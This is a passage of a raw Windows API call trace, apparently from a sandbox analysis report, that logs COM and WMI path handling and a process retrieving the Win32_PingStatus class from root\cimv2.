(This=0x5cdcdd8) returned 0x2 [0127.118] WbemDefPath:IWbemPath:SetText (This=0x5cdcdd8, uMode=0x4, pszPath="") returned 0x0 [0127.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcdd8, puCount=0x59fe714 | out: puCount=0x59fe714*=0x0) returned 0x0 [0127.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcd68, puCount=0x59fe714 | out: puCount=0x59fe714*=0x0) returned 0x0 [0127.118] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdcdd8, puBuffLength=0x59fe76c*=0x0, pszName=0x0 | out: puBuffLength=0x59fe76c*=0x0, pszName=0x0) returned 0x8004103a [0127.118] WbemDefPath:IWbemPath:GetServer (in: This=0x5cdcdd8, puNameBufLength=0x59fe768*=0x0, pName=0x0 | out: puNameBufLength=0x59fe768*=0x0, pName=0x0) returned 0x80041009 [0127.118] WbemDefPath:IWbemPath:SetServer (This=0x5cdcdd8, Name="Q9IATRKPRH") returned 0x0 [0127.118] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0127.118] SetEvent (hEvent=0x3f0) returned 1 [0127.118] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe670*=0x4ec, lpdwindex=0x59fe494 | out: lpdwindex=0x59fe494) returned 0x0 [0127.121] CoGetContextToken (in: pToken=0x59fe544 | out: pToken=0x59fe544) returned 0x0 [0127.121] CoGetContextToken (in: pToken=0x59fe4a4 | out: pToken=0x59fe4a4) returned 0x0 [0127.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x59fe574*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe570 | out: ppvObject=0x59fe570*=0x5cdce48) returned 0x0 [0127.121] WbemDefPath:IUnknown:AddRef (This=0x5cdce48) returned 0x3 [0127.121] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x2 [0127.121] WbemDefPath:IWbemPath:SetText (This=0x5cdce48, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0127.121] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcdd8, puCount=0x59fe714 | out: puCount=0x59fe714*=0x0) returned 0x0 [0127.121] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdce48, puCount=0x59fe714 | out: puCount=0x59fe714*=0x2) returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetText (in: This=0x5cdce48, lFlags=16, puBuffLength=0x59fe710*=0x0, pszText=0x0 | out: puBuffLength=0x59fe710*=0xb, pszText=0x0) returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetText (in: This=0x5cdce48, lFlags=16, puBuffLength=0x59fe710*=0xb, pszText="0000000000" | out: puBuffLength=0x59fe710*=0xb, pszText="root\\cimv2") returned 0x0 [0127.122] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5cdcdd8) returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdce48, puCount=0x59fe74c | out: puCount=0x59fe74c*=0x2) returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdce48, uIndex=0x0, puNameBufLength=0x59fe748*=0x0, pName=0x0 | out: puNameBufLength=0x59fe748*=0x5, pName=0x0) returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdce48, uIndex=0x0, puNameBufLength=0x59fe748*=0x5, pName="0000" | out: puNameBufLength=0x59fe748*=0x5, pName="root") returned 0x0 [0127.122] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdcdd8, uIndex=0x0, pszName="root") returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdce48, uIndex=0x1, puNameBufLength=0x59fe748*=0x0, pName=0x0 | out: puNameBufLength=0x59fe748*=0x6, pName=0x0) returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdce48, uIndex=0x1, puNameBufLength=0x59fe748*=0x6, pName="00000" | out: puNameBufLength=0x59fe748*=0x6, pName="cimv2") returned 0x0 [0127.122] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdcdd8, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.122] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdcdd8, puBuffLength=0x59fe76c*=0x0, pszName=0x0 | out: puBuffLength=0x59fe76c*=0x0, pszName=0x0) returned 0x8004103a [0127.122] WbemDefPath:IWbemPath:SetClassName (This=0x5cdcdd8, Name="Win32_PingStatus") returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcdd8, puCount=0x59fe788 | out: puCount=0x59fe788*=0x2) returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=4, puBuffLength=0x59fe784*=0x0, pszText=0x0 | out: puBuffLength=0x59fe784*=0x29, pszText=0x0) returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=4, puBuffLength=0x59fe784*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59fe784*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetInfo (in: This=0x5cdcdd8, uRequestedInfo=0x0, puResponse=0x59fe790 | out: puResponse=0x59fe790*=0x20c16) returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcdd8, puCount=0x59fe788 | out: puCount=0x59fe788*=0x2) returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=8, puBuffLength=0x59fe784*=0x0, pszText=0x0 | out: puBuffLength=0x59fe784*=0x18, pszText=0x0) returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=8, puBuffLength=0x59fe784*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x59fe784*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0127.123] WbemDefPath:IWbemPath:GetInfo (in: This=0x5cdcdd8, uRequestedInfo=0x0, puResponse=0x59fe790 | out: puResponse=0x59fe790*=0x20c16) returned 0x0 [0127.123] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0127.123] SetEvent (hEvent=0x3f0) returned 1 [0127.123] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe6e4*=0x4f0, lpdwindex=0x59fe508 | out: lpdwindex=0x59fe508) returned 0x0 [0127.162] CoGetContextToken (in: pToken=0x59fe5bc | out: pToken=0x59fe5bc) returned 0x0 [0127.162] CoGetContextToken (in: pToken=0x59fe51c | out: pToken=0x59fe51c) returned 0x0 [0127.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x59fe5ec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe5e8 | out: ppvObject=0x59fe5e8*=0x5cdceb8) returned 0x0 [0127.162] WbemDefPath:IUnknown:AddRef (This=0x5cdceb8) returned 0x3 [0127.162] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x2 [0127.162] WbemDefPath:IWbemPath:SetText (This=0x5cdceb8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0127.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdceb8, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0127.162] WbemDefPath:IWbemPath:GetText (in: This=0x5cdceb8, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0x18, pszText=0x0) returned 0x0 [0127.163] WbemDefPath:IWbemPath:GetText (in: This=0x5cdceb8, lFlags=4, puBuffLength=0x59fe75c*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x59fe75c*=0x18, pszText="\\\\Q9IATRKPRH\\root\\cimv2") returned 0x0 [0127.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe778 | out: puCount=0x59fe778*=0x2) returned 0x0 [0127.164] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe774*=0x0, pszText=0x0 | out: puBuffLength=0x59fe774*=0xf, pszText=0x0) returned 0x0 [0127.164] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe774*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe774*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe70c | out: puCount=0x59fe70c*=0x2) returned 0x0 [0127.164] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe708*=0x0, pszText=0x0 | out: puBuffLength=0x59fe708*=0xf, pszText=0x0) returned 0x0 [0127.164] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe708*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe708*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.165] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=2, puBuffLength=0x59fe710*=0x0, pszText=0x0 | out: puBuffLength=0x59fe710*=0x11, pszText=0x0) returned 0x0 [0127.165] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=2, puBuffLength=0x59fe710*=0x11, pszText="0000000000000000" | out: puBuffLength=0x59fe710*=0x11, pszText="Win32_PingStatus") returned 0x0 [0127.166] CoGetContextToken (in: pToken=0x59fe4b4 | out: pToken=0x59fe4b4) returned 0x0 [0127.166] CoGetContextToken (in: pToken=0x59fe414 | out: pToken=0x59fe414) returned 0x0 [0127.166] CoGetContextToken (in: pToken=0x59fe414 | out: pToken=0x59fe414) returned 0x0 [0127.167] CoUnmarshalInterface (in: pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe408 | out: ppv=0x59fe408*=0x720e74) returned 0x0 [0127.167] CoMarshalInterface (pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x720e74, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0127.167] WbemLocator:IUnknown:QueryInterface (in: This=0x720e74, riid=0x59fe4e4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59fe4e0 | out: ppvObject=0x59fe4e0*=0x74f750) returned 0x0 [0127.168] WbemLocator:IUnknown:Release (This=0x720e74) returned 0x1 [0127.168] IWbemServices:GetObject (in: This=0x74f750, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x59fe6c4*=0x0, ppCallResult=0x0 | out: ppObject=0x59fe6c4*=0x5ce4508, ppCallResult=0x0) returned 0x0 [0127.194] WbemLocator:IUnknown:Release (This=0x74f750) returned 0x0 [0127.195] IWbemClassObject:Get (in: This=0x5ce4508, wszName="__PATH", lFlags=0, pVal=0x59fe6ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe754*=0, plFlavor=0x59fe750*=0 | out: pVal=0x59fe6ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus", varVal2=0x0), pType=0x59fe754*=8, plFlavor=0x59fe750*=64) returned 0x0 [0127.195] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0127.195] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x50 [0127.195] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f4 [0127.195] SetEvent (hEvent=0x3f0) returned 1 [0127.195] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe668*=0x4f4, lpdwindex=0x59fe48c | out: lpdwindex=0x59fe48c) returned 0x0 [0127.198] CoGetContextToken (in: pToken=0x59fe53c | out: pToken=0x59fe53c) returned 0x0 [0127.198] CoGetContextToken (in: pToken=0x59fe49c | out: pToken=0x59fe49c) returned 0x0 [0127.198] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcf28, riid=0x59fe56c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe568 | out: ppvObject=0x59fe568*=0x5cdcf28) returned 0x0 [0127.198] WbemDefPath:IUnknown:AddRef (This=0x5cdcf28) returned 0x3 [0127.198] WbemDefPath:IUnknown:Release (This=0x5cdcf28) returned 0x2 [0127.198] WbemDefPath:IWbemPath:SetText (This=0x5cdcf28, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_PingStatus") returned 0x0 [0127.198] IWbemClassObject:Get (in: This=0x5ce4508, wszName="__SERVER", lFlags=0, pVal=0x59fe6ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe770*=0, plFlavor=0x59fe76c*=0 | out: pVal=0x59fe6ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59fe770*=8, plFlavor=0x59fe76c*=64) returned 0x0 [0127.198] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.198] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.198] IWbemClassObject:Get (in: This=0x5ce4508, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe6ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe770*=8, plFlavor=0x59fe76c*=64 | out: pVal=0x59fe6ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\cimv2", varVal2=0x0), pType=0x59fe770*=8, plFlavor=0x59fe76c*=64) returned 0x0 [0127.198] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0127.198] SysStringByteLen (bstr="ROOT\\cimv2") returned 0x14 [0127.198] IWbemClassObject:Get (in: This=0x5ce4508, wszName="__CLASS", lFlags=0, pVal=0x59fe6ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe770*=8, plFlavor=0x59fe76c*=64 | out: pVal=0x59fe6ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59fe770*=8, plFlavor=0x59fe76c*=64) returned 0x0 [0127.198] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.198] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.198] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f8 [0127.198] SetEvent (hEvent=0x3f0) returned 1 [0127.199] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe648*=0x4f8, lpdwindex=0x59fe46c | out: lpdwindex=0x59fe46c) returned 0x0 [0127.201] CoGetContextToken (in: pToken=0x59fe51c | out: pToken=0x59fe51c) returned 0x0 [0127.201] CoGetContextToken (in: pToken=0x59fe47c | out: pToken=0x59fe47c) returned 0x0 [0127.201] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd008, riid=0x59fe54c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe548 | out: ppvObject=0x59fe548*=0x5cdd008) returned 0x0 [0127.201] WbemDefPath:IUnknown:AddRef (This=0x5cdd008) returned 0x3 [0127.201] WbemDefPath:IUnknown:Release (This=0x5cdd008) returned 0x2 [0127.201] WbemDefPath:IWbemPath:SetText (This=0x5cdd008, uMode=0x4, pszPath="") returned 0x0 [0127.201] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4fc [0127.201] SetEvent (hEvent=0x3f0) returned 1 [0127.201] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe648*=0x4fc, lpdwindex=0x59fe46c | out: lpdwindex=0x59fe46c) returned 0x0 [0127.203] CoGetContextToken (in: pToken=0x59fe51c | out: pToken=0x59fe51c) returned 0x0 [0127.204] CoGetContextToken (in: pToken=0x59fe47c | out: pToken=0x59fe47c) returned 0x0 [0127.204] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd078, riid=0x59fe54c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe548 | out: ppvObject=0x59fe548*=0x5cdd078) returned 0x0 [0127.204] WbemDefPath:IUnknown:AddRef (This=0x5cdd078) returned 0x3 [0127.204] WbemDefPath:IUnknown:Release (This=0x5cdd078) returned 0x2 [0127.204] WbemDefPath:IWbemPath:SetText (This=0x5cdd078, uMode=0x4, pszPath="") returned 0x0 [0127.204] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd078, puCount=0x59fe6ec | out: puCount=0x59fe6ec*=0x0) returned 0x0 [0127.204] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd008, puCount=0x59fe6ec | out: puCount=0x59fe6ec*=0x0) returned 0x0 [0127.204] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdd078, puBuffLength=0x59fe744*=0x0, pszName=0x0 | out: puBuffLength=0x59fe744*=0x0, pszName=0x0) returned 0x8004103a [0127.204] WbemDefPath:IWbemPath:GetServer (in: This=0x5cdd078, puNameBufLength=0x59fe740*=0x0, pName=0x0 | out: puNameBufLength=0x59fe740*=0x0, pName=0x0) returned 0x80041009 [0127.204] WbemDefPath:IWbemPath:SetServer (This=0x5cdd078, Name="Q9IATRKPRH") returned 0x0 [0127.204] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x500 [0127.204] SetEvent (hEvent=0x3f0) returned 1 [0127.204] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe648*=0x500, lpdwindex=0x59fe46c | out: lpdwindex=0x59fe46c) returned 0x0 [0127.207] CoGetContextToken (in: pToken=0x59fe51c | out: pToken=0x59fe51c) returned 0x0 [0127.207] CoGetContextToken (in: pToken=0x59fe47c | out: pToken=0x59fe47c) returned 0x0 [0127.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd0e8, riid=0x59fe54c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe548 | out: ppvObject=0x59fe548*=0x5cdd0e8) returned 0x0 [0127.207] WbemDefPath:IUnknown:AddRef (This=0x5cdd0e8) returned 0x3 [0127.207] WbemDefPath:IUnknown:Release (This=0x5cdd0e8) returned 0x2 [0127.207] WbemDefPath:IWbemPath:SetText (This=0x5cdd0e8, uMode=0x4, pszPath="ROOT\\cimv2") returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd078, puCount=0x59fe6ec | out: puCount=0x59fe6ec*=0x0) returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd0e8, puCount=0x59fe6ec | out: puCount=0x59fe6ec*=0x2) returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetText (in: This=0x5cdd0e8, lFlags=16, puBuffLength=0x59fe6e8*=0x0, pszText=0x0 | out: puBuffLength=0x59fe6e8*=0xb, pszText=0x0) returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetText (in: This=0x5cdd0e8, lFlags=16, puBuffLength=0x59fe6e8*=0xb, pszText="0000000000" | out: puBuffLength=0x59fe6e8*=0xb, pszText="ROOT\\cimv2") returned 0x0 [0127.207] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5cdd078) returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdd0e8, puCount=0x59fe724 | out: puCount=0x59fe724*=0x2) returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd0e8, uIndex=0x0, puNameBufLength=0x59fe720*=0x0, pName=0x0 | out: puNameBufLength=0x59fe720*=0x5, pName=0x0) returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd0e8, uIndex=0x0, puNameBufLength=0x59fe720*=0x5, pName="0000" | out: puNameBufLength=0x59fe720*=0x5, pName="ROOT") returned 0x0 [0127.207] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdd078, uIndex=0x0, pszName="ROOT") returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd0e8, uIndex=0x1, puNameBufLength=0x59fe720*=0x0, pName=0x0 | out: puNameBufLength=0x59fe720*=0x6, pName=0x0) returned 0x0 [0127.207] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdd0e8, uIndex=0x1, puNameBufLength=0x59fe720*=0x6, pName="00000" | out: puNameBufLength=0x59fe720*=0x6, pName="cimv2") returned 0x0 [0127.208] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdd078, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.208] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdd078, puBuffLength=0x59fe744*=0x0, pszName=0x0 | out: puBuffLength=0x59fe744*=0x0, pszName=0x0) returned 0x8004103a [0127.208] WbemDefPath:IWbemPath:SetClassName (This=0x5cdd078, Name="Win32_PingStatus") returned 0x0 [0127.208] IWbemClassObject:BeginMethodEnumeration (This=0x5ce4508, lEnumFlags=0) returned 0x0 [0127.208] IWbemClassObject:NextMethod (in: This=0x5ce4508, lFlags=0, pstrName=0x59fe6fc*=0x0, ppInSignature=0x59fe744*=0x0, ppOutSignature=0x59fe740*=0x0 | out: pstrName=0x59fe6fc*=0x0, ppInSignature=0x59fe744*=0x0, ppOutSignature=0x59fe740*=0x0) returned 0x40005 [0127.208] IWbemClassObject:EndMethodEnumeration (This=0x5ce4508) returned 0x0 [0127.376] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.376] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.377] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x59fe0b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0127.383] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe880 | out: puCount=0x59fe880*=0x2) returned 0x0 [0127.383] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe87c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe87c*=0xf, pszText=0x0) returned 0x0 [0127.384] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe880 | out: puCount=0x59fe880*=0x2) returned 0x0 [0127.384] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe87c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe87c*=0xf, pszText=0x0) returned 0x0 [0127.384] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.384] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe87c | out: pNames=0x59fe87c*="\x01ƀ\x04") returned 0x0 [0127.384] SafeArrayGetDim (psa=0x5cd32c8) returned 0x1 [0127.384] SafeArrayGetDim (psa=0x5cd32c8) returned 0x1 [0127.384] SafeArrayGetLBound (in: psa=0x5cd32c8, nDim=0x1, plLbound=0x59fe714 | out: plLbound=0x59fe714) returned 0x0 [0127.384] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.384] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.384] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.384] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.385] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.385] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.385] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.385] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.385] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.385] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.385] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.385] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.385] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.385] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.385] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.385] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.385] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.385] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.385] SysStringByteLen (bstr="__PATH") returned 0xc [0127.385] SysStringByteLen (bstr="__PATH") returned 0xc [0127.385] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753bf8*=0, plFlavor=0x2753bfc*=0 | out: pVal=0x59fe878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2753bf8*=3, plFlavor=0x2753bfc*=64) returned 0x0 [0127.386] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753c2c*=0, plFlavor=0x2753c30*=0 | out: pVal=0x59fe878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2753c2c*=8, plFlavor=0x2753c30*=64) returned 0x0 [0127.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.386] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.386] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753c84*=0, plFlavor=0x2753c88*=0 | out: pVal=0x59fe878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753c84*=8, plFlavor=0x2753c88*=64) returned 0x0 [0127.386] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2753cac*=0, plFlavor=0x2753cb0*=0 | out: pVal=0x59fe878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2753cac*=8, 